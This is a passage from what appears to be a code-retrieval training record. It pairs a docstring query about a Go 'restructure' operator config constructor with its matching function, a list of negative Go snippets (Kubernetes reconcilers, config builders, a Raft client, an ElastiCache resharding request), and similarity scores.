ck.id, i, key)\n\t\tdone := make(chan bool)\n\t\tgo func() {\n\t\t\tok := ck.servers[i].Call(\"RaftKV.Get\", &args, &reply)\n\t\t\tif ok {\n\t\t\t\tdone <- true\n\t\t\t}\n\t\t}()\n\t\tselect {\n\t\tcase <-done:\n\t\t\tDPrintf(\"CLIENT %d GOT GET REPLY from server %d to get %s: %+v\\n\", ck.id, i, key, reply)\n\t\t\tif reply.WrongLeader {\n\t\t\t\ti = (i + 1) % len(ck.servers)\n\t\t\t} else if reply.Err == ErrNoKey {\n\t\t\t\treturn \"\"\n\t\t\t} else if reply.Err == ErrLostAction {\n\t\t\t\t// retry this server because its the leader\n\t\t\t} else if reply.Err == OK {\n\t\t\t\tck.leader = i\n\t\t\t\tDPrintf(\"CLIENT %d SET LEADER TO %d\\n\", ck.id, i)\n\t\t\t\treturn reply.Value\n\t\t\t}\n\t\tcase <-time.After(500 * time.Millisecond):\n\t\t\tDPrintf(\"CLIENT %d TIMED OUT ON GET REQUEST for server %d and key %s\", ck.id, i, key)\n\t\t\ti = (i + 1) % len(ck.servers)\n\t\t}\n\t}\n}", "func (c *RESTClient) Get(ctx context.Context) (string, error) {\n\treq, err := http.NewRequest(http.MethodGet, c.Config.Addr, nil)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"bad request\")\n\t}\n\treq.Header.Set(\"Accept\", \"text/plain\")\n\tresp, err := c.Do(req)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"HTTP GET failed\")\n\t}\n\tbb, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"could not read response\")\n\t}\n\tdefer resp.Body.Close()\n\treturn string(bb), nil\n}" ]
[ "0.62467825", "0.5780223", "0.5636601", "0.5616056", "0.5512909", "0.54759485", "0.54367733", "0.54013443", "0.539602", "0.5387912", "0.53784156", "0.5369727", "0.5341877", "0.53329766", "0.5308757", "0.5296368", "0.529321", "0.5273714", "0.5228216", "0.5218521", "0.5208538", "0.5193568", "0.519155", "0.51878405", "0.5185495", "0.51748055", "0.5170653", "0.5167442", "0.5163671", "0.5151116", "0.5131374", "0.5123574", "0.5119606", "0.51130956", "0.5107496", "0.5103947", "0.50886583", "0.50847703", "0.5072637", "0.5071371", "0.5068568", "0.5062075", "0.5053441", "0.50212455", "0.5016871", "0.49999243", "0.4985906", "0.49768844", "0.49723622", "0.4969478", "0.4967608", "0.49672633", "0.49591666", "0.49543673", "0.49539185", "0.4942532", "0.49380472", "0.49351865", "0.49338764", "0.4917404", "0.4915441", "0.49142987", "0.49141705", "0.49126154", "0.49082828", "0.489601", "0.4889166", "0.48842913", "0.48746046", "0.4867628", "0.48643932", "0.4858297", "0.48504114", "0.48492965", "0.4847478", "0.48439768", "0.48374355", "0.48363286", "0.48306987", "0.48260218", "0.48252016", "0.4821439", "0.48145795", "0.48065048", "0.48050013", "0.4787719", "0.47865054", "0.47861043", "0.47857255", "0.4779871", "0.4776668", "0.47745064", "0.4771988", "0.4770173", "0.4766659", "0.4762845", "0.47582802", "0.4754937", "0.47543445", "0.4744513" ]
0.75820374
0
NewRestructureOperatorConfig creates a new restructure operator config with default values
func NewRestructureOperatorConfig(operatorID string) *RestructureOperatorConfig { return &RestructureOperatorConfig{ TransformerConfig: helper.NewTransformerConfig(operatorID, "restructure"), } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (c RestructureOperatorConfig) Build(context operator.BuildContext) ([]operator.Operator, error) {\n\ttransformerOperator, err := c.TransformerConfig.Build(context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trestructureOperator := &RestructureOperator{\n\t\tTransformerOperator: transformerOperator,\n\t\tops: c.Ops,\n\t}\n\n\treturn []operator.Operator{restructureOperator}, nil\n}", "func NewDefaultOperatorConfig(cfg *tests.Config) *tests.OperatorConfig {\n\tfeatures := []string{}\n\tfor k, v := range cfg.OperatorFeatures {\n\t\tt := \"false\"\n\t\tif v {\n\t\t\tt = \"true\"\n\t\t}\n\t\tfeatures = append(features, fmt.Sprintf(\"%s=%s\", k, t))\n\t}\n\treturn &tests.OperatorConfig{\n\t\tNamespace: \"pingcap\",\n\t\tReleaseName: \"operator\",\n\t\tImage: cfg.OperatorImage,\n\t\tTag: cfg.OperatorTag,\n\t\tControllerManagerReplicas: util.IntPtr(2),\n\t\tSchedulerImage: \"registry.k8s.io/kube-scheduler\",\n\t\tSchedulerReplicas: util.IntPtr(2),\n\t\tFeatures: features,\n\t\tLogLevel: \"4\",\n\t\tWebhookServiceName: \"webhook-service\",\n\t\tWebhookSecretName: \"webhook-secret\",\n\t\tWebhookConfigName: \"webhook-config\",\n\t\tImagePullPolicy: v1.PullIfNotPresent,\n\t\tTestMode: true,\n\t\tWebhookEnabled: true,\n\t\tStsWebhookEnabled: true,\n\t\tCabundle: \"\",\n\t\tBackupImage: cfg.BackupImage,\n\t\tStringValues: map[string]string{\n\t\t\t\"admissionWebhook.failurePolicy.validation\": \"Fail\",\n\t\t\t\"admissionWebhook.failurePolicy.mutation\": \"Fail\",\n\t\t},\n\t}\n}", "func newRebalanceOptions() *rebalanceOptions {\n\treturn &rebalanceOptions{\n\t\tconfig: clusterConfigShim{},\n\t\tlogger: log.NewNopLogger(),\n\t\tclock: clock.New(),\n\t}\n}", "func newConfig() Config {\n\treturn Config{\n\t\tDefaultContainerConfig: newDefaultContainerConfig(),\n\t\tContainersConfig: map[string]ContainerConfig{},\n\t\tExclude: []string{},\n\t}\n}", "func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\treturn &ReconcileHostOperatorConfig{client: mgr.GetClient()}\n}", "func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\treconciler := &ReconcileAppsodyApplication{ReconcilerBase: oputils.NewReconcilerBase(mgr.GetClient(), mgr.GetScheme(), mgr.GetConfig(), mgr.GetEventRecorderFor(\"appsody-operator\")),\n\t\tStackDefaults: map[string]appsodyv1beta1.AppsodyApplicationSpec{}, StackConstants: map[string]*appsodyv1beta1.AppsodyApplicationSpec{}}\n\n\twatchNamespaces, err := oputils.GetWatchNamespaces()\n\tif err != nil {\n\t\tlog.Error(err, \"Failed to get watch namespace\")\n\t\tos.Exit(1)\n\t}\n\tlog.Info(\"newReconciler\", \"watchNamespaces\", watchNamespaces)\n\n\tns, err := k8sutil.GetOperatorNamespace()\n\t// When running the operator locally, `ns` will be empty string\n\tif ns == \"\" {\n\t\t// If the operator is running locally, use the first namespace in the `watchNamespaces`\n\t\t// `watchNamespaces` must have at least one item\n\t\tns = watchNamespaces[0]\n\t}\n\n\tconfigMap := &corev1.ConfigMap{}\n\tconfigMap.Namespace = ns\n\tconfigMap.Name = \"appsody-operator\"\n\tconfigMap.Data = common.DefaultOpConfig()\n\terr = reconciler.GetClient().Create(context.TODO(), configMap)\n\tif err != nil && !kerrors.IsAlreadyExists(err) {\n\t\tlog.Error(err, \"Failed to create config map for the operator\")\n\t\tos.Exit(1)\n\t}\n\n\tfData, err := ioutil.ReadFile(\"deploy/stack_defaults.yaml\")\n\tif err != nil {\n\t\tlog.Error(err, \"Failed to read defaults config map from file\")\n\t\tos.Exit(1)\n\t}\n\n\tconfigMap = &corev1.ConfigMap{}\n\terr = yaml.Unmarshal(fData, configMap)\n\tif err != nil {\n\t\tlog.Error(err, \"Failed to parse defaults config map from file\")\n\t\tos.Exit(1)\n\t}\n\tconfigMap.Namespace = ns\n\terr = reconciler.GetClient().Create(context.TODO(), configMap)\n\tif err != nil && !kerrors.IsAlreadyExists(err) {\n\t\tlog.Error(err, \"Failed to create defaults config map in the cluster\")\n\t\tos.Exit(1)\n\t}\n\n\tfData, err = ioutil.ReadFile(\"deploy/stack_constants.yaml\")\n\tif err != nil {\n\t\tlog.Error(err, \"Failed to read constants config map from file\")\n\t\tos.Exit(1)\n\t}\n\n\tconfigMap = &corev1.ConfigMap{}\n\terr = yaml.Unmarshal(fData, configMap)\n\tif err != nil {\n\t\tlog.Error(err, \"Failed to parse constants config map from file\")\n\t\tos.Exit(1)\n\t}\n\tconfigMap.Namespace = ns\n\terr = reconciler.GetClient().Create(context.TODO(), configMap)\n\tif err != nil && !kerrors.IsAlreadyExists(err) {\n\t\tlog.Error(err, \"Failed to create constants config map in the cluster\")\n\t\tos.Exit(1)\n\t}\n\n\treturn reconciler\n}", "func newConfig(appName string, pathToKeybase string, log Log, ignoreSnooze bool) (*config, error) {\n\tcfg := newDefaultConfig(appName, pathToKeybase, log, ignoreSnooze)\n\terr := cfg.load()\n\treturn &cfg, err\n}", "func LoadOperatorConf(cmd *cobra.Command) *Conf {\n\tc := &Conf{}\n\n\tc.NS = util.KubeObject(bundle.File_deploy_namespace_yaml).(*corev1.Namespace)\n\tc.SA = util.KubeObject(bundle.File_deploy_service_account_yaml).(*corev1.ServiceAccount)\n\tc.SAEndpoint = util.KubeObject(bundle.File_deploy_service_account_endpoint_yaml).(*corev1.ServiceAccount)\n\tc.SAUI = util.KubeObject(bundle.File_deploy_service_account_ui_yaml).(*corev1.ServiceAccount)\n\tc.Role = util.KubeObject(bundle.File_deploy_role_yaml).(*rbacv1.Role)\n\tc.RoleEndpoint = util.KubeObject(bundle.File_deploy_role_endpoint_yaml).(*rbacv1.Role)\n\tc.RoleUI = util.KubeObject(bundle.File_deploy_role_ui_yaml).(*rbacv1.Role)\n\tc.RoleBinding = util.KubeObject(bundle.File_deploy_role_binding_yaml).(*rbacv1.RoleBinding)\n\tc.RoleBindingEndpoint = util.KubeObject(bundle.File_deploy_role_binding_endpoint_yaml).(*rbacv1.RoleBinding)\n\tc.ClusterRole = util.KubeObject(bundle.File_deploy_cluster_role_yaml).(*rbacv1.ClusterRole)\n\tc.ClusterRoleBinding = util.KubeObject(bundle.File_deploy_cluster_role_binding_yaml).(*rbacv1.ClusterRoleBinding)\n\tc.Deployment = util.KubeObject(bundle.File_deploy_operator_yaml).(*appsv1.Deployment)\n\n\tc.NS.Name = options.Namespace\n\tc.SA.Namespace = options.Namespace\n\tc.SAEndpoint.Namespace = options.Namespace\n\tc.Role.Namespace = options.Namespace\n\tc.RoleEndpoint.Namespace = options.Namespace\n\tc.RoleBinding.Namespace = options.Namespace\n\tc.RoleBindingEndpoint.Namespace = options.Namespace\n\tc.ClusterRole.Namespace = options.Namespace\n\tc.Deployment.Namespace = options.Namespace\n\n\tconfigureClusterRole(c.ClusterRole)\n\tc.ClusterRoleBinding.Name = c.ClusterRole.Name\n\tc.ClusterRoleBinding.RoleRef.Name = c.ClusterRole.Name\n\tfor i := range c.ClusterRoleBinding.Subjects {\n\t\tc.ClusterRoleBinding.Subjects[i].Namespace = options.Namespace\n\t}\n\n\tc.Deployment.Spec.Template.Spec.Containers[0].Image = options.OperatorImage\n\tif options.ImagePullSecret != \"\" {\n\t\tc.Deployment.Spec.Template.Spec.ImagePullSecrets =\n\t\t\t[]corev1.LocalObjectReference{{Name: options.ImagePullSecret}}\n\t}\n\tc.Deployment.Spec.Template.Spec.Containers[1].Image = options.CosiSideCarImage\n\n\treturn c\n}", "func newConfig() *Config {\n\t// TODO: use config as default, allow setting some values per-job\n\t// and prevent config changes affecting already-running tasks\n\treturn &Config{\n\t\tPath: DefaultPath,\n\t\tDatastorePrefix: \"MP_\",\n\t\tDefaultQueue: \"\",\n\t\tShards: 8,\n\t\tOversampling: 32,\n\t\tLeaseDuration: time.Duration(30) * time.Second,\n\t\tLeaseTimeout: time.Duration(10)*time.Minute + time.Duration(30)*time.Second,\n\t\tTaskTimeout: time.Duration(10)*time.Minute - time.Duration(30)*time.Second,\n\t\tCursorTimeout: time.Duration(50) * time.Second,\n\t\tRetries: 31,\n\t\tLogVerbose: false,\n\t\tHost: \"\",\n\t}\n}", "func New(config Config) (*Operator, error) {\n\t// Dependencies.\n\tif config.BackOff == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.BackOff must not be empty\")\n\t}\n\tif config.Framework == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Framework must not be empty\")\n\t}\n\tif config.Informer == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Informer must not be empty\")\n\t}\n\tif config.Logger == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.Logger must not be empty\")\n\t}\n\tif config.TPR == nil {\n\t\treturn nil, microerror.Maskf(invalidConfigError, \"config.TPR must not be empty\")\n\t}\n\n\tnewOperator := &Operator{\n\t\t// Dependencies.\n\t\tbackOff: config.BackOff,\n\t\tframework: config.Framework,\n\t\tinformer: config.Informer,\n\t\tlogger: config.Logger,\n\t\ttpr: config.TPR,\n\n\t\t// Internals\n\t\tbootOnce: sync.Once{},\n\t\tmutex: sync.Mutex{},\n\t}\n\n\treturn newOperator, nil\n}", "func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\treturn &ReconcileDeploymentConfig{Client: mgr.GetClient(), scheme: mgr.GetScheme()}\n}", "func (r *Reconciler) createRestoreConfig(ctx context.Context, postgresCluster *v1beta1.PostgresCluster,\n\tconfigHash string) error {\n\n\tpostgresClusterWithMockedBackups := postgresCluster.DeepCopy()\n\tpostgresClusterWithMockedBackups.Spec.Backups.PGBackRest.Global = postgresCluster.Spec.\n\t\tDataSource.PGBackRest.Global\n\tpostgresClusterWithMockedBackups.Spec.Backups.PGBackRest.Repos = []v1beta1.PGBackRestRepo{\n\t\tpostgresCluster.Spec.DataSource.PGBackRest.Repo,\n\t}\n\n\treturn r.reconcilePGBackRestConfig(ctx, postgresClusterWithMockedBackups,\n\t\t\"\", configHash, \"\", \"\", []string{})\n}", "func New(cfg Config, k8ssvc k8s.Service, logger log.Logger) operator.Operator {\n\tlogger = logger.With(\"operator\", operatorName)\n\n\thandler := NewHandler(logger)\n\tcrd := NewMultiRoleBindingCRD(k8ssvc)\n\tctrl := controller.NewSequential(cfg.ResyncDuration, handler, crd, nil, logger)\n\treturn operator.NewOperator(crd, ctrl, logger)\n}", "func NewTelegrafConfig(clone *Config) *serializers.Config {\n\ttc := &serializers.Config{\n\t\tDataFormat: clone.DataFormat,\n\t\tGraphiteTagSupport: clone.GraphiteTagSupport,\n\t\tInfluxMaxLineBytes: clone.InfluxMaxLineBytes,\n\t\tInfluxSortFields: clone.InfluxSortFields,\n\t\tInfluxUintSupport: clone.InfluxUintSupport,\n\t\tPrefix: clone.Prefix,\n\t\tTemplate: clone.Template,\n\t\tTimestampUnits: clone.TimestampUnits,\n\t\tHecRouting: clone.HecRouting,\n\t\tWavefrontSourceOverride: clone.WavefrontSourceOverride,\n\t\tWavefrontUseStrict: clone.WavefrontUseStrict,\n\t}\n\tif tc.DataFormat == \"\" {\n\t\ttc.DataFormat = \"influx\"\n\t}\n\treturn tc\n}", "func newRoadMutation(c config, op Op, opts ...roadOption) *RoadMutation {\n\tm := &RoadMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeRoad,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}", "func NewRebalance(state State, gateway Gateway, schema config.Schema, options ...RebalanceOption) *Rebalance {\n\topts := newRebalanceOptions()\n\topts.state = state\n\topts.gateway = gateway\n\topts.schema = schema\n\tfor _, option := range options {\n\t\toption(opts)\n\t}\n\n\treturn &Rebalance{\n\t\tstate: opts.state,\n\t\tgateway: opts.gateway,\n\t\tschema: opts.schema,\n\t\tconfig: opts.config,\n\t\tlogger: opts.logger,\n\t\tclock: opts.clock,\n\t}\n}", "func newReconciledConfigWatchRoleBinding() *rbacv1.RoleBinding {\n\treturn NewConfigWatchRoleBinding(newReconciledServiceAccount())()\n}", "func newReconciler(name string, controllerConfig config.DNSServiceConfig) *reconciler {\n\treturn &reconciler{\n\t\tEnv: common.NewEnv(name, controllerConfig),\n\t}\n}", "func setConfigDefaults(interoperatorConfig *InteroperatorConfig) *InteroperatorConfig {\n\tif interoperatorConfig.BindingWorkerCount == 0 {\n\t\tinteroperatorConfig.BindingWorkerCount = constants.DefaultBindingWorkerCount\n\t}\n\tif interoperatorConfig.InstanceWorkerCount == 0 {\n\t\tinteroperatorConfig.InstanceWorkerCount = constants.DefaultInstanceWorkerCount\n\t}\n\tif interoperatorConfig.SchedulerWorkerCount == 0 {\n\t\tinteroperatorConfig.SchedulerWorkerCount = constants.DefaultSchedulerWorkerCount\n\t}\n\tif interoperatorConfig.ProvisionerWorkerCount == 0 {\n\t\tinteroperatorConfig.ProvisionerWorkerCount = constants.DefaultProvisionerWorkerCount\n\t}\n\tif interoperatorConfig.PrimaryClusterID == \"\" {\n\t\tinteroperatorConfig.PrimaryClusterID = constants.DefaultPrimaryClusterID\n\t}\n\tif interoperatorConfig.ClusterReconcileInterval == \"\" {\n\t\tinteroperatorConfig.ClusterReconcileInterval = constants.DefaultClusterReconcileInterval\n\t}\n\n\treturn interoperatorConfig\n}", "func newDefaultContainerConfig() ContainerConfig {\n\treturn ContainerConfig{\n\t\tCPU: newMinMaxAllocation(),\n\t\tMemory: newMinMaxAllocation(),\n\t\tBlockRead: newMinMaxAllocation(),\n\t\tBlockWrite: newMinMaxAllocation(),\n\t\tNetworkRx: newMinMaxAllocation(),\n\t\tNetworkTx: newMinMaxAllocation(),\n\t}\n}", "func New(conf *Config) Rclone {\n\treturn Rclone{config: conf}\n}", "func (rm *resourceManager) newUpdateShardConfigurationRequestPayload(\n\tr *resource,\n) (*svcsdk.ModifyReplicationGroupShardConfigurationInput, error) {\n\tres := &svcsdk.ModifyReplicationGroupShardConfigurationInput{}\n\n\tres.SetApplyImmediately(true)\n\tif r.ko.Spec.ReplicationGroupID != nil {\n\t\tres.SetReplicationGroupId(*r.ko.Spec.ReplicationGroupID)\n\t}\n\tif r.ko.Spec.NumNodeGroups != nil {\n\t\tres.SetNodeGroupCount(*r.ko.Spec.NumNodeGroups)\n\t}\n\n\tnodegroupsToRetain := []*string{}\n\n\t// TODO: optional -only if- NumNodeGroups increases shards\n\tif r.ko.Spec.NodeGroupConfiguration != nil {\n\t\tf13 := []*svcsdk.ReshardingConfiguration{}\n\t\tfor _, f13iter := range r.ko.Spec.NodeGroupConfiguration {\n\t\t\tf13elem := &svcsdk.ReshardingConfiguration{}\n\t\t\tif f13iter.NodeGroupID != nil {\n\t\t\t\tf13elem.SetNodeGroupId(*f13iter.NodeGroupID)\n\t\t\t\tnodegroupsToRetain = append(nodegroupsToRetain, &(*f13iter.NodeGroupID))\n\t\t\t}\n\t\t\tf13elemf2 := []*string{}\n\t\t\tif f13iter.PrimaryAvailabilityZone != nil {\n\t\t\t\tf13elemf2 = append(f13elemf2, &(*f13iter.PrimaryAvailabilityZone))\n\t\t\t}\n\t\t\tif f13iter.ReplicaAvailabilityZones != nil {\n\t\t\t\tfor _, f13elemf2iter := range f13iter.ReplicaAvailabilityZones {\n\t\t\t\t\tvar f13elemf2elem string\n\t\t\t\t\tf13elemf2elem = *f13elemf2iter\n\t\t\t\t\tf13elemf2 = append(f13elemf2, &f13elemf2elem)\n\t\t\t\t}\n\t\t\t\tf13elem.SetPreferredAvailabilityZones(f13elemf2)\n\t\t\t}\n\t\t\tf13 = append(f13, f13elem)\n\t\t}\n\t\tres.SetReshardingConfiguration(f13)\n\t}\n\n\t// TODO: optional - only if - NumNodeGroups decreases shards\n\t// res.SetNodeGroupsToRemove() or res.SetNodeGroupsToRetain()\n\tres.SetNodeGroupsToRetain(nodegroupsToRetain)\n\n\treturn res, nil\n}", "func newCompressionForConfig(opt *Options) (*Compression, error) {\n\tc, err := NewCompressionPreset(opt.CompressionMode)\n\treturn c, err\n}", "func defaultConfig() *config {\n\treturn &config{\n\t\tOperations: operations{\n\t\t\tResize: resize{\n\t\t\t\tRaw: *resizeDefaults(),\n\t\t\t},\n\t\t\tFlip: flip{\n\t\t\t\tRaw: *flipDefaults(),\n\t\t\t},\n\t\t\tBlur: blur{\n\t\t\t\tRaw: *blurDefaults(),\n\t\t\t},\n\t\t\tRotate: rotate{\n\t\t\t\tRaw: *rotateDefaults(),\n\t\t\t},\n\t\t\tCrop: crop{\n\t\t\t\tRaw: *cropDefaults(),\n\t\t\t},\n\t\t\tLabel: label{\n\t\t\t\tRaw: *labelDefaults(),\n\t\t\t},\n\t\t},\n\t\tExport: export{\n\t\t\tRaw: *exportDefaults(),\n\t\t},\n\t}\n}", "func newConfig(old *Config, vars Vars) *Config {\n\tv := mergeVars(old.Vars, vars)\n\n\treturn &Config{\n\t\tAppID: old.AppID,\n\t\tVars: v,\n\t}\n}", "func newConfigMap(configMapName, namespace string, labels map[string]string,\n\tkibanaIndexMode, esUnicastHost, rootLogger, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount string) *v1.ConfigMap {\n\n\terr, data := renderData(kibanaIndexMode, esUnicastHost, nodeQuorum, recoverExpectedShards, primaryShardsCount, replicaShardsCount, rootLogger)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\treturn &v1.ConfigMap{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tKind: \"ConfigMap\",\n\t\t\tAPIVersion: v1.SchemeGroupVersion.String(),\n\t\t},\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: configMapName,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: data,\n\t}\n}", "func newRobberMutation(c config, op Op, opts ...robberOption) *RobberMutation {\n\tm := &RobberMutation{\n\t\tconfig: c,\n\t\top: op,\n\t\ttyp: TypeRobber,\n\t\tclearedFields: make(map[string]struct{}),\n\t}\n\tfor _, opt := range opts {\n\t\topt(m)\n\t}\n\treturn m\n}", "func recreateConfigMapFunc(f *framework.Framework, tc *nodeConfigTestCase) error {\n\t// need to ignore NotFound error, since there could be cases where delete\n\t// fails during a retry because the delete in a previous attempt succeeded,\n\t// before some other error occurred.\n\terr := deleteConfigMapFunc(f, tc)\n\tif err != nil && !apierrors.IsNotFound(err) {\n\t\treturn err\n\t}\n\treturn createConfigMapFunc(f, tc)\n}", "func (sm *ShardMaster) CreateNewConfig() *Config{\n\t// get current config (the last config in config list)\n\tsz := len(sm.configs)\n\tcurr_config := &sm.configs[sz - 1]\n\n\t// create a new config\n\tnew_config := Config{Num: curr_config.Num + 1}\n\tnew_config.Groups = make(map[int64][]string)\n\n\t// copy the shards from curr_config\n\tfor s, gid := range curr_config.Shards{\n\t\tnew_config.Shards[s] = gid\n\t}\n\n\t// copy the group from curr_config\n\tfor gid, server := range curr_config.Groups{\n\t\tnew_config.Groups[gid] = server\n\t}\n\treturn &new_config\n}", "func DefaultPromConfig(name string, replica int, remoteWriteEndpoint, ruleFile string, scrapeTargets ...string) string {\n\tvar targets string\n\tif len(scrapeTargets) > 0 {\n\t\ttargets = strings.Join(scrapeTargets, \",\")\n\t}\n\n\tconfig := fmt.Sprintf(`\nglobal:\n external_labels:\n prometheus: %v\n replica: %v\n`, name, replica)\n\n\tif targets != \"\" {\n\t\tconfig = fmt.Sprintf(`\n%s\nscrape_configs:\n- job_name: 'myself'\n # Quick scrapes for test purposes.\n scrape_interval: 1s\n scrape_timeout: 1s\n static_configs:\n - targets: [%s]\n relabel_configs:\n - source_labels: ['__address__']\n regex: '^.+:80$'\n action: drop\n`, config, targets)\n\t}\n\n\tif remoteWriteEndpoint != \"\" {\n\t\tconfig = fmt.Sprintf(`\n%s\nremote_write:\n- url: \"%s\"\n # Don't spam receiver on mistake.\n queue_config:\n min_backoff: 2s\n max_backoff: 10s\n`, config, remoteWriteEndpoint)\n\t}\n\n\tif ruleFile != \"\" {\n\t\tconfig = fmt.Sprintf(`\n%s\nrule_files:\n- \"%s\"\n`, config, ruleFile)\n\t}\n\n\treturn config\n}", "func CreateConfigReloader(\n\tconfig ReloaderConfig,\n\treloadURL url.URL,\n\tlistenLocal bool,\n\tlocalHost string,\n\tlogFormat, logLevel string,\n\tadditionalArgs []string,\n\tvolumeMounts []v1.VolumeMount,\n) v1.Container {\n\tvar (\n\t\tports []v1.ContainerPort\n\t\targs = make([]string, 0, len(additionalArgs))\n\t)\n\n\tvar listenAddress string\n\tif listenLocal {\n\t\tlistenAddress = localHost\n\t} else {\n\t\tports = append(\n\t\t\tports,\n\t\t\tv1.ContainerPort{\n\t\t\t\tName: \"reloader-web\",\n\t\t\t\tContainerPort: configReloaderPort,\n\t\t\t\tProtocol: v1.ProtocolTCP,\n\t\t\t},\n\t\t)\n\t}\n\targs = append(args, fmt.Sprintf(\"--listen-address=%s:%d\", listenAddress, configReloaderPort))\n\n\targs = append(args, fmt.Sprintf(\"--reload-url=%s\", reloadURL.String()))\n\n\tif logLevel != \"\" && logLevel != \"info\" {\n\t\targs = append(args, fmt.Sprintf(\"--log-level=%s\", logLevel))\n\t}\n\n\tif logFormat != \"\" && logFormat != \"logfmt\" {\n\t\targs = append(args, fmt.Sprintf(\"--log-format=%s\", logFormat))\n\t}\n\n\tfor i := range additionalArgs {\n\t\targs = append(args, additionalArgs[i])\n\t}\n\n\tresources := v1.ResourceRequirements{\n\t\tLimits: v1.ResourceList{},\n\t\tRequests: v1.ResourceList{},\n\t}\n\tif config.CPU != \"0\" {\n\t\tresources.Limits[v1.ResourceCPU] = resource.MustParse(config.CPU)\n\t\tresources.Requests[v1.ResourceCPU] = resource.MustParse(config.CPU)\n\t}\n\tif config.Memory != \"0\" {\n\t\tresources.Limits[v1.ResourceMemory] = resource.MustParse(config.Memory)\n\t\tresources.Requests[v1.ResourceMemory] = resource.MustParse(config.Memory)\n\t}\n\n\treturn v1.Container{\n\t\tName: \"config-reloader\",\n\t\tImage: config.Image,\n\t\tTerminationMessagePolicy: v1.TerminationMessageFallbackToLogsOnError,\n\t\tEnv: []v1.EnvVar{\n\t\t\t{\n\t\t\t\tName: \"POD_NAME\",\n\t\t\t\tValueFrom: &v1.EnvVarSource{\n\t\t\t\t\tFieldRef: &v1.ObjectFieldSelector{FieldPath: \"metadata.name\"},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tCommand: []string{\"/bin/prometheus-config-reloader\"},\n\t\tArgs: args,\n\t\tPorts: ports,\n\t\tVolumeMounts: volumeMounts,\n\t\tResources: resources,\n\t}\n}", "func newConfigV1() *configV1 {\n\tconf := new(configV1)\n\tconf.Version = mcPreviousConfigVersion\n\t// make sure to allocate map's otherwise Golang\n\t// exits silently without providing any errors\n\tconf.Hosts = make(map[string]*hostConfig)\n\tconf.Aliases = make(map[string]string)\n\treturn conf\n}", "func (r *ResUnstructured) newUnstructured(object map[string]interface{}) *unstructured.Unstructured {\n\tu := &unstructured.Unstructured{}\n\tu.Object = object\n\n\tu.SetGroupVersionKind(schema.GroupVersionKind{\n\t\tGroup: r.group,\n\t\tKind: r.kind,\n\t\tVersion: r.version,\n\t})\n\n\tu.SetName(r.name)\n\tu.SetNamespace(r.namespace)\n\treturn u\n}", "func newConfig() (*config, error) {\n\tec2Metadata := ec2metadata.New(session.Must(session.NewSession()))\n\tregion, err := ec2Metadata.Region()\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get region from ec2 metadata\")\n\t}\n\n\tinstanceID, err := ec2Metadata.GetMetadata(\"instance-id\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get instance id from ec2 metadata\")\n\t}\n\n\tmac, err := ec2Metadata.GetMetadata(\"mac\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get mac from ec2 metadata\")\n\t}\n\n\tsecurityGroups, err := ec2Metadata.GetMetadata(\"security-groups\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get security groups from ec2 metadata\")\n\t}\n\n\tinterfaces, err := ec2Metadata.GetMetadata(\"network/interfaces/macs\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get interfaces from ec2 metadata\")\n\t}\n\n\tsubnet, err := ec2Metadata.GetMetadata(\"network/interfaces/macs/\" + mac + \"/subnet-id\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get subnet from ec2 metadata\")\n\t}\n\n\tvpc, err := ec2Metadata.GetMetadata(\"network/interfaces/macs/\" + mac + \"/vpc-id\")\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"unable to get vpc from ec2 metadata\")\n\t}\n\n\treturn &config{region: region,\n\t\tsubnet: subnet,\n\t\tindex: int64(len(strings.Split(interfaces, \"\\n\"))),\n\t\tinstanceID: instanceID,\n\t\tsecurityGroups: strings.Split(securityGroups, \"\\n\"),\n\t\tvpc: vpc,\n\t}, nil\n}", "func newReconciler(mgr manager.Manager) reconcile.Reconciler {\n\treturn &ReconcileParameterStore{client: mgr.GetClient(), scheme: mgr.GetScheme()}\n}", "func NewRepacker(repo *repository.Repository, unusedBlobs backend.IDSet) *Repacker {\n\treturn &Repacker{\n\t\trepo: repo,\n\t\tunusedBlobs: unusedBlobs,\n\t}\n}", "func makeZoneConfig(options tree.KVOptions) *zonepb.ZoneConfig {\n\tzone := &zonepb.ZoneConfig{}\n\tfor i := range options {\n\t\tswitch options[i].Key {\n\t\tcase \"constraints\":\n\t\t\tconstraintsList := &zonepb.ConstraintsList{}\n\t\t\tvalue := options[i].Value.(*tree.StrVal).RawString()\n\t\t\tif err := yaml.UnmarshalStrict([]byte(value), constraintsList); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tzone.Constraints = constraintsList.Constraints\n\n\t\tcase \"voter_constraints\":\n\t\t\tconstraintsList := &zonepb.ConstraintsList{}\n\t\t\tvalue := options[i].Value.(*tree.StrVal).RawString()\n\t\t\tif err := yaml.UnmarshalStrict([]byte(value), constraintsList); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tzone.VoterConstraints = 